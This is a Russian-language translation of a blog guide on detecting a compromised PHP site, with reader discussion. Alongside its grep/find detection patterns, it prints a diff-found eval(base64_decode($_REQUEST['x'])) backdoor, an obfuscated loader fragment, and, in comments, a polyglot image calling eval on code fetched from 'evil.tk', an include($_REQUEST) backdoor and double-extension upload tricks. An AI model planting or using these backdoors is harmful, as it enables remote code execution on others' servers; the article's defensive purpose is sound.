Пользователь
0,0
рейтинг
3 августа 2013 в 20:57

Разработка → Как узнать, что ваш PHP сайт был взломан перевод

Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.

Проверьте логи доступа


Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"

Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.

Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?

Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.

Выявление вредоносных PHP файлов


Есть несколько способов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, выполняйте из корневой директории вашего сайта.

Поиск недавно измененных PHP файлов

Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.

find . -type f -name '*.php' -mtime -7

Мой взломанный сервер возвратил такие результаты:

./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php

Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные результаты, если вы сами изменяли php файлы в данный период времени. Следующие методы являются гораздо более эффективными.

Искать все PHP файлы с подозрительным кодом

Это далеко не лучший подход, следующие команды ищут php файлы содержащие атакующие сценарии. Мы начнем с простого и получим больше с помощью расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate или str_rot13.

find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Подсказка: первый параметр поиска это директория поиска, точка означает текущий каталог (и все вложенные каталоги). Можно изменить этот параметр в любое существующее имя каталога для уменьшения результатов поиска, например:

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

Эта команда найдет php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep очень прост и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел следующий за * означает ноль или более символов пробела. Выше приведенное выражение будет справедливо для следующих строк:

eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval(  str_rot13( base64_decode

Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Можно скомбинировать все эти значения в одну команду:

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("

Примечание: мы используем egrep, а не grep, это позволяет использовать расширенные регулярные выражения.
Наконец, вот не менее известный способ, что бы скрыть код:

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ
 
FILE GOES ON FOR A LONG TIME......
 
lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");

preg_replace с e модификатором будет исполнять этот код, он выглядит необычно, однако это просто сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28 переводится как eval ( gzinflate ( base64_decode (, а \x29\x29\x29\x3B, как )) ) ;

Эта команда поможет вам найти использование preg_replace:
find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color

Совет: если вы получаете тонну результатов выполнения данной команды, можно сохранить результат в файл или перенаправить их в другую программу под названием less, которая позволяет просматривать результаты по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt

С любыми выше приведенными командами поиска можно поступить в том же духе.

Совет: обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете убедиться в этом запустив:

echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );

Можете использовать find для поиска этих шестнадцатеричных кодов в php файлах для дальнейшей проверки.

find . -type f -name '*.php' | xargs grep -il x29

Это хороший подход если вы знаете, что не используете в коде шестнадцатеричные значения.

Констатируем факты

Большинство методов, предполагают, что злоумышленник загружает на север файлы и использует некоторые формы обфускации кода, когда другие злоумышленники могут просто изменить существующий php код. В этом случае код может выглядеть естественно и соответствовать стилю существующего сценария либо может быть запутанным.

Для того чтобы решить эту проблему вам нужна чистая копия вашего кода, если вы пользуетесь широко распространенными php скриптами, например wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, надеюсь вы используете git или другие системы контроля версий и вы можете получить чистую версию вашего кода.

Для этого примера я буду использовать wordpress.

У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.

drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised

Я могу найти различия между моим установленным wordpress и чистым wordpress, выполнив команду:

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content

Я исключил wp-content из этого поиска, ведь каждый имеет собственные темы и плагины.
Совет: убедитесь, что вы используете ту же версию wordpress для сравнения.

Вот результаты моего поиска:

diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
> 
> if (isset($_REQUEST['x'])) {
>     eval(base64_decode($_REQUEST['x']));
> }

Он обнаружил вредоносный код!

Из любопытства...

Что может сделать злоумышленник с этими 3 строками кода? Во-первых, атакующий узнал бы полезную информацию:

$payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=

Затем он отправил бы GET или POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий созданный выше. В результате его выполнения будет создан файл /wp-content/uploads/wp-upload.php, который выводит информацию о вашем сервере. Это вроде не плохо, но дело в том что злоумышленник может запустить любой php код, который пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Почти всегда в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.

Всегда ищите каталоги доступные для загрузки исполняемого кода

Используя методы, которые представлены выше, легко найти php код в вашей загрузочной директории. Для wordpress это было бы:

find wp-content/uploads -type f -name '*.php'

Совет: вот очень простой bash скрипт, который ищет директории доступные для записи и php файлы в них. Результат будет сохранен в файл results.txt. Скрипт работает рекурсивно.

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
    #echo $dir
    find $dir -type f -name '*.php'
done

Назовите файл search_for_php_in_writable и дайте ему права на исполнение

chmod +x search_for_php_in_writable

Сохраните этот файл в вашем домашнем каталоге, а затем перейдите в каталог в котором вы собираетесь искать и выполните следующую команду:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less

Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безопасно настроен, ваш сайт может оказаться не единственным подверженным атаке. Общая загрузка php shell на уязвимых сайтах, по существу является инструментом, который дает злоумышленнику файл-браузер. Они могут использовать этот инструмент, что бы загрузить атакующие скрипты по всем папкам на сервере доступных для записи, например каталог загрузки.
Примечание: взломщики обычно пытаются загрузить изображения, которые содержат php код, поэтому проверяйте и другие расширения, методами перечисленными выше.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php

Не верите? Этот файл был загружен как jpg изображение на взломанный сайт. Похоже он был ошибочно принят за бинарные данные. Вот тот же файл в более «читаемом» формате.

Все еще не можете прочитать? Так же как и я до более глубокой проверки. Весь этот код предназначен для запуска этой функции:

if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
    function shutdownCallback() {
        echo "<!--".md5("links")."-->";
    }
    register_shutdown_function("shutdownCallback");
}

Что делает этот скрипт не имеет значения, вы должны усвоить, нужно проверять ваше загрузочные директории.
Если вам интересно, это просто пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение произошло позже.

Где еще может скрываться вредоносный код?

Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредоносный код в базу данных. Вы так же можете провести более тщательную проверку.

Перейдите на ваш сайт, после загрузки страницы посмотрите ее исходный HTML код и сохраните его где-то на вашем компьютере, например mywebsite.txt; Выполните следующую команду

grep -i '<iframe' mywebsite.txt

Взломщики часто вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте расширение firebug для firefox, чтобы просмотреть содержимое html вашего ресурса, злоумышленник может использовать javascipt для создание iframe, они не будут отображаться при просмотре исходного кода страницы в браузере, потому что DOM изменяется после загрузки страницы. Существует так же расширение Live HTTP Headers для firefox, которое покажет все текущие запросы на вашей странице. Это позволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных


Возможно злоумышленник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, например плагины, в базе данных. Так делает vBulletin. Хотя это бывает редко, но вы должны это знать. Если вы в этом случае были взломаны, то злоумышленник вероятно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем использовать mysql или его производные.

Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обычно, я предпочитаю использовать инструменты командной строки, кода они доступны, однако этот инструмент является удобным для поиска.

Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных большая, не рекомендуется искать небольшие куски текста на рабочем сервере.

Откройте PHPMyAdmin выберите базу данных и нажмите 'Search'. Вы можете искать такие строки как %base64_% и %eval(%, и любые другие сочетания, которые я уже изложил.

Проверьте .htaccess файлы, если вы используете Apache


Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные изменения.

auto_append_file и auto_prepend_file включают другие php файлы в начале или в конце всех php скриптов, злоумышленники могут использовать их для включения своего кода.

find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;

Следующая команда ищет во всех подкаталогах файлы .htacсess, которые содержат 'http'. Результатом поиска будет список всех правил перенаправлений, в которых могут быть и вредоносные правила.

find . -type f -name '\.htaccess' | xargs grep -i http;

Некоторые вредоносные перенаправления базируются на основе user agent. Было бы не плохо поискать использования HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды можно легко изменить, просто поменяйте ключевое слово перед точкой запятой.

Для повышения уровня безопасности, если вы можете, отключите использование .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.

В «реальном мире»


Итак, почему люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан исключительно на post операциях, большинство логов веб серверов были бы бесполезны в данном случае. Я смог получить логи post запросов:

Array
(
    [lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
    [eIHSE] => PNxsDhxNdV
    [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
    [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==
 
    [GGhp] => a3ZAbFFTSlJSbFo=
    [AIQXa] => e3VWT2VvQ0hyS0ha
)

Вредоносный скрипт в основном SPAM зомби, который будет отправлять любой email кому угодно, который использует ваш сервер для отправки писем, через post запрос. Ключи в каждом post запросе могут изменятся и скрипт очень находчивый, он проверяет установленные функции и приспосабливается к этому. Например если php mail() недоступен, он будет пытаться создать сокет на 25 порту и отправлять электронную почту непосредственно через SMTP.

Если вам интересно расшифровать данные злоумышленников, воспользуйтесь функцией которая называется n9a2d8ce3. Загадочные данные POST проставляют адрес назначения и содержание e-mail.

Если вы используете советы данные в этой статье, вам не составит труда обнаружить подобный скрипт.

Заключение


Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на критические или обновления для системы безопасности не только для базовой установки, но и для расширений, таких как плагины. Большинство нападающих будут пытаться найти тысячи сайтов с известными уязвимостями, так что если вы уязвимы, вас найдут в конце концов.

Если вы работаете над шабашкой, все равно код нужно постоянно проверять, ведь не должно быть уязвимостей в библиотеках, которые вы используете.
Перевод: Greg Freeman
Gar|k @Gariks
карма
23,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (122)

  • +6
    Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.

    Вот она, самая главная ошибка. Нужно запрещать выполнение скриптов в директориях загрузки.
    • +2
      От LFI не спасет.
    • +1
      Мы тоже запретили выполнять все скрипты, кроме нужных + установили mercurial репозиторий, который по крону четыре раза в день проверял, не изменились ли какие файлы и в случае измены писал нам имейлы.
  • +1
    Использование любой системы контроля версий типа Git или просто наличие бэкапа — полностью решает данные вопросы за счет git status или diff по крону :) Попробуйте хотя бы git init :)

    Но решать надо иначе, конечно. Для начала убрать Apache :)
    • НЛО прилетело и опубликовало эту надпись здесь
      • +13
        Я могу предположить только одно. Иногда в Apache определяют, какие файлы передавать на обработку mod_php, с помощью mod_mime. А он, в свою очередь, определяет по «расширению имени» файла. Одно но: если файл имеет несколько точек в имени, то mod_mime считает, что это «несколько расширений», в этом случае для исполнения файла mod_php достаточно, чтобы любое из них совпало. А mime-тип, с которым вернёт файл Apache, потом определится из последнего «расширения».

        Пример: файл image.php.gif будет передан на обработку mod_php, а потом Apache результат пришлёт как image/gif.

        Таким образом можно сделать файл, который и под типичный регэксп картинки \.(png|gif|jpg)$ подпадёт, и будет на самом деле картинкой (открываться без ошибок функциями типа imagecreatefromgif), но в комментарии этой картинки будет текст наподобие <?php eval(file_get_contents("http://evil.tk/")); ?> и эта картинка будет выполнена сервером как скрипт php (ну чёрт с ним, с мусором до и после php-кода). А методом из статьи такую картинку не найти — там ищут только по файлам "*.php", а у нас "*.gif".

        Хоть Apache тут по сути и не виноват, виновата кривая конфигурация веб-сервера, которая не учитывает эту особенность mod_mime. Отключение исполнения php в директориях, куда помещаются загружаемые файлы, проблему решает. Тем не менее, все винят Apache :)

        P.S. Советую любителям nginx запихнуть свой фанатизм поглубже. Нет, nginx — сервер хороший, фанатизм плохой. Стоит понимать, что Apache — высококачественный и очень распространённый софт, с которым знакомо огромное число администраторов и разработчиков, и отказаться от него в целом не проще, чем от винды, например, а то и вообще сложнее.
        • +3
          Одно но: если файл имеет несколько точек в имени, то mod_mime считает, что это «несколько расширений», в этом случае для исполнения файла mod_php достаточно, чтобы любое из них совпало. А mime-тип, с которым вернёт файл Apache, потом определится из последнего «расширения».

          Немного не верно.

          Если точек в имени файла несколько, т.е., проще говоря, несколько расширений, то проверяется последнее расширение, и, если данное расширение зарегестрированно в mime.types, то файл обрабатывается в соответствии с этим расширением. Если это расширение НЕ зарегестрированно, то проверяется предыдущее расширение, до тех пор пока не будет обнаруженно зарегестрированное.

          Т.о. файл с именем file.blabla.php.blabla.blabla будет интерпретирован как php скрипт. Так, например, в большинстве веб приложений разрешено загружать файлы с расширением *.rar, но по дефолту апач это расширение не знает. Это делает это приложение уязвимым перед заливкой файла script.php.rar, т.к. такой файл при прямом обращении к нему будет интерпретирован как PHP скрипт, подробнее об этом:
          httpd.apache.org/docs/2.2/mod/mod_mime.html#multipleext
          intsystem.org/892/how-do-you-upload-files-at-the-server/#doubleext

          Насчет статьи. Позволю себе описать взгляд с другой стороны баррикад. Все описанное выше — прошлый век. Рядовой взломщик об этом знает. Так, например, менять дату последнего изменения файла — уже то что злоумышленник делает в первую очередь. Даже скажу больше, большинство существующих вебшеллов умеют не менять дату последнего изменения при редактировании файлов. Описанные в статье способы поиска левых скриптов — опять же, извините, бред. Практически никто на сегодня не использует в бекдорах функцию eval, в php хватает других функций умеющих выполнять php код.

          Единственный 100%-ый вариант обнаружить что сайт взломан — это либо полный diff, либо ручная проверка всех файлов на сервере. А единственный способ гарантированно востановится после взлома — это исправление уязвимости и востановление из бекапа. Все остальное оставляет шансы злоумышленнику.
          • +2
            > Практически никто на сегодня не использует в бекдорах функцию eval

            Вы таки не поверите. По работе постоянно сталкиваюсь именно с таким. 90-95% обнаруженных случаев. Хотя признаю, выборка вероятно не репрезентативна ввиду специфичности софта с которым работаю. Очень редко обнаруживается что-то действительно необычное (но тут уже, видимо, работа не банальных скрипт-киддис, а кого-то серьезнее, и, возможно даже, на заказ).
          • +3
            В статье описывается методика поиска, и если ты не разработчик (у тебя нет бэкапа и доступа к git репозиторию), а сторонний человек, которого попросили проверить/исправить сайт, она довольно действенна.

            InSys, что говорить о времени изменения файла, когда на «какерских» форумах обсуждают ".BAT вирусы" и «как отправить POST запрос (Delphi 7)». Говорите eval устарел, значит нужно поделиться знаниями:

            Список функций, которые вызывают callback
            array_filter
            array_map
            array_walk
            array_diff_uassoc
            array_udiff_assoc
            array_udiff_uassoc
            array_intersect_uassoc
            array_diff_ukey
            array_intersect_ukey
            array_reduce
            array_udiff
            uasort
            usort
            array_uintersect_assoc
            array_uintersect_uassoc
            array_uintersect
            array_walk_recursive

            Список функций, которые выполняют PHP код
            create_function
            eval
            assert
            {$name}()
            preg_replace(//e)

            Переменные, которые можно установить через ini_set
            unserialize_callback_func
            assert_callback
            output_handler

            Немного системных функций
            session_set_save_handler
            set_exception_handler
            set_error_handler
            restore_error_handler
            register_shutdown_function
            restore_exception_handler()
            ob_start
            trigger_error
            • +1
              Видите ли… Я не осуждаю статью в целом. Я осуждаю предложенные методы.

              Я будучи взломщиком, вписал бы в скрипты конструкцию типа:
              include($_REQUEST['foo']);
              
              Согласитесь, никому бы в голову не пришло искать подобную конструкцию регулярками. В обычных проектах сотни вызовов функции include. А я в свою очередь смогу элементарно востановить доступ к сайту. А таких вариантов как этот тысячи.

              К чему я это пишу. К тому что даже в случае
              сторонний человек, которого попросили проверить/исправить сайт
              бесполезно действовать по инструкции, а надо начать мыслить как взломщик (как бы пафосно это не звучало).

              А тех кто обсуждают на «какерских» форумах бат вирусы и прочее, можно отнести к категории скрипт киддисов. И угрозы как таковой они не представляют. Статья расчитана как раз на обнаружение следов взлома людей из данной категории и не более. Так что, извините, действенной эту методику назвать нельзя.
              • +1
                Извольте, сударь, скрипт киддисты представляют не малую угрозу.

                На одном корпоративном хостинге, увели пароль от FTP, в итоге злоумышленники поигравшись с веб шеллаами различных мастей, решили запустить кривой скрипт вставки iframe по всему хостингу (который загружали в upload директории). В итоге этот автоматизированный скрипт «какеров» покоцал очень много файлов, в результате чего большинство сайтов на хостинге отвалилось.

                Не стоит надеяться, что лично Вас будут ломать профессионалы с «мышлением», стоит изначально применить проверенные методы, описанные в статье.
                • +3
                  Последствия работы скрипткидисов все же устраняются намного проще. И именно поэтому они по-моему мнению не представляют значительной угрозы. В вашем случае к примеру достаточно было востановить бекап (бекапы то надеюсь все делают). Максимум что может такой «кулхацкер» — это сломать работоспособность сайта но не более. Да, это неприятно, но это очень просто лечится.

                  А я неоднократно встречал работы людей, которые были как раз как как вы говорите с «мышлением». К примеру, интернет магазин, с которого каким то мифом начали утекать данные кредитных карт. При разборе выяснилось, что прошел целый год между моментом взлома и началом какой-либо активности на сервере, а целый год выжидался скорее всего ради того чтобы бекдоры попали в бекапы, и их сложнее было обнаружить.

                  Вы говорите проверка даты изменения? Мало того что прошел год после встраивания бекдоров, так еще и файлы тачились под остальные. Поиск по регуляркам? Да фиг там. Бекдоры маскировались под общий код. Я вобщем-то до сих пор не уверен что было найденно все.

                  И подобных случаев на моей практике — довольно много. Так что, не то чтобы я надеюсь, что лично меня будут ломать профессионалы, я просто знаю каково это. Зря вы так скептически относитесь к моему мнению, поверьте, я знаю о чем говорю.

                  Статья же преподносит предложенные в ней методы как панацею, хотя эти методы являются лишь первоначальными. А пока вы, согласно статье, будете защищаться только от киддисов, вас будут продолжать взламывать.
          • 0
            Рассудите, знающие люди, кто прав, пожалуйста. Будет отдаваться php обработчику файл file.php.gif или нет?
            • –1
              По дефолту — нет.
            • 0
              Если для ассоциирования использвали mod_mime — будет. (Так, например, его обычно подключали во времена php4, как сейчас дело обстоит — проверять надо).

              Если ассоциировали по маске — нет.
          • +1
            Вы пишете ерунду и даже не потрудились проверить по документации:

            Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given that maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.

            Languages and content encodings are treated accumulative, because one can assign more than one language or encoding to a particular resource. For example, the file welcome.html.en.de will be delivered with Content-Language: en, de and Content-Type: text/html.


            Файлы могут иметь более одного расширения, и порядок расширений обычно не играет роли.… Если имеется более одного расширения, которые предоставляют один и тот же тип метаинформации, то испольщуется значение от самого правого, кроме случая языков и типов кодирования содержимого (речь идёт о .html.gz — будет использован тип связанный с .html, а не ,gz, который попадёт в content-encoding). Т.е. .html.gif станет image/gif.

            А теперь вот то, о чём я пишу:

            Care should be taken when a file with multiple extensions gets associated with both a MIME-type and a handler. This will usually result in the request being handled by the module associated with the handler. For example, if the .imap extension is mapped to the handler imap-file (from mod_imagemap) and the .html extension is mapped to the MIME-type text/html, then the file world.imap.html will be associated with both the imap-file handler and text/html MIME-type. When it is processed, the imap-file handler will be used, and so it will be treated as a mod_imagemap imagemap file.


            Внимание следует обращать на случаи, когда файлы с несколькими расширениями ассоциируются одновременно с Content-Type и с обработчиком. Если .imap связано с обработчиком imap-file (из модуля mod_imagemap), а .html связано с MIME-типом text/html, то файл world.imap.html будет ассоциирован и с этим обработчиком, и с этим типом. Когда он будет запрошен, он будет обработан imap-file.

            Это как раз тот же самый случай, что и .php.gif.

            Так что да, решение существует, не ассоциировать php через mod_mime (а только через «последнее расширение» по маске \.php$).
            • 0
              Вобщем то, я пишу далеко не ерунду. И вас бы просил так категорично об этом не заявлять.

              Проверьте то что я написал выше самостоятельно. Это вобщем то не укладывается в рамки данной документации, ее я привел просто для ознакомления. Естественно при подключении php не через «последнее расширение».

              А теперь если вам не сложно, приведите пример конфигурации, когда все же файл .php.gif будет интерпретирован как скрипт.
              • +1
                http://dev.merlin-vrn.tk/image.php.jpg работает, как видите (Посмотрите на заголовки, скрипт там добавил X-Generator: PHP и X-Powered-By: PHP...). Файл image.php.jpg выглядит так:
                <?php header("X-Generator: PHP"); readfile("holes.jpg"); ?>

                Рядом лежит holes.jpg, который вы и наблюдаете через скрипт.

                Gentoo, конфигурация по умолчанию, в /etc/conf.d/apache2 стоит APACHE2_OPTS="… -DPHP5...". Всю логику IfModule копировать не буду (ставьте систему и сами смотрите), сработавшие в данном случае директивы такие:

                LoadModule php5_module modules/libphp5.so
                AddHandler application/x-httpd-php .php .php5 .phtml

                Этого достаточно, чтобы скрипт запустился интерпретатором.
                • 0
                  http://dev.merlin-vrn.tk/image2.php.jpg вот ещё — внутри <?php header("Content-Type: text/plain; charset=utf-8"); ?>Я скрипт! :)
                • –1
                  Да, вот только во всех конфигах обычно пишут не
                  AddHandler application/x-httpd-php .php .php5 .phtml
                  А
                  AddType application/x-httpd-php .php .php5 .phtml
                  Что решает эту «проблему».
                  • 0
                    «Обычно пишут»? Я вам привёл пример, где «обычно написано» вот так. И так было принято писать во времена php4, не исключено, что на этой тестовой машине у меня с тех времён оно раз за разом кочевало через ручной etc-update и так и осталось теперь. Хотя я не удивлюсь, если оно и в новых инсталляциях устроено так же.

                    Да, проблема решается другим способом подключения php, я с самого начала это и написал. С самого начала я написал, что «бывают такие конфигурации», не имел ввиду, что они всегда все такие. А вы полезли меня «исправлять».
                    • 0
                      То что я полез «исправлять», может быть я и не прав. Признаю, вы описали другой случай. Меня раздражает тот факт что вы считаете себя абсолютно и непоколебимо правым во всем остальном.
                      • +1
                        Ну хорошо. По другим пунктам, перечислю их ниже, вы тоже ошибаетесь:

                        — eval злоумышленники используют направо и налево, примерно раз в месяц в разных местах приходится вычищать подобную заразу, ни разу без eval не обошлось

                        — запретить php в директории можно не только htaccessом. Вообще-то сами разработчики Apache в документации (вы её не читали) рекомендуют отключать htaccess (через AllowOverride None) и всё прописывать в конфиге сервера — так всё работает быстрее, ведь не нужно каждый раз сканировать всё дерево ФС на предмет .htaccess и не нужно каждый раз этот файл парсить. Собственно, когда речь идёт о нагруженном сервере и оптимизации — это вообще первое дело. Загрузка htaccess в этом случае ничего не изменит.

                        • 0
                          — запретить php в директории можно не только htaccessом. Вообще-то сами разработчики Apache в документации (вы её не читали) рекомендуют отключать htaccess (через AllowOverride None) и всё прописывать в конфиге сервера — так всё работает быстрее, ведь не нужно каждый раз сканировать всё дерево ФС на предмет .htaccess и не нужно каждый раз этот файл парсить. Собственно, когда речь идёт о нагруженном сервере и оптимизации — это вообще первое дело. Загрузка htaccess в этом случае ничего не изменит.

                          Да ну что вы говорите. И кто нибудь готов отказаться от .htaccess в пользу безопасности? И вобще я так понимаю, вы вынуждаете меня сейчас оправдываться, мол я знаю? Ну вобщем да, я знаю это и без вас, но к примеру у меня есть лучшее решение чем запретить .htaccess вообще. Разрешить только корневой .htaccess:
                          #Разрешаем корневой htaccess
                           <Directory /home/public_html/>
                           AllowOverride All
                           </Directory> 
                          
                          #Запрещаем htacess-ы лежащие в каталогах глубже
                           <Directory /home/public_html/*>
                           AllowOverride None
                           </Directory>
                          


                          — eval злоумышленники используют направо и налево, примерно раз в месяц в разных местах приходится вычищать подобную заразу, ни разу без eval не обошлось

                          Возможно это из за того что мы сталкивались с разными категориями людей? Или может потому что остальные варианты вы не искали? Ведь я не сказал что eval никто не использует, я сказал что в php есть масса других функций, нет?

                          И объясните мне, какого черта, в каждом вашем предложении вы стремитесь меня оскорбить? Я читал документацию, и возможно даже внимательнее чем вы. И знаю возможно больше чем вы, но почему то я не стремлюсь выставлять это на показ, в отличие от Вас.
                          • +1
                            И кто нибудь готов отказаться от .htaccess в пользу безопасности?

                            Я :) Все конфиги веб-сервера в одном месте, которое специально отведено для конфигов — /etc/apache2/.
                            но к примеру у меня есть лучшее решение чем запретить .htaccess вообще. Разрешить только корневой .htaccess:

                            Чем оно лучше в плане безопасности? А в плане удобства? Если сайт ведет себя непредсказуемо, то удобнее в двух местах смотреть, чем в одном?
                            • 0
                              … + решение вообще ничем не лучше: дерево файловой системы по-прежнему сканируется каждый запрос в надежде, что htaccess найдётся, и если он найдётся, он каждый запрос заново парсится
                            • 0
                              Мне удобнее к примеру задавать в htaccess настройки специфичные для разных сайтов.
                              • 0
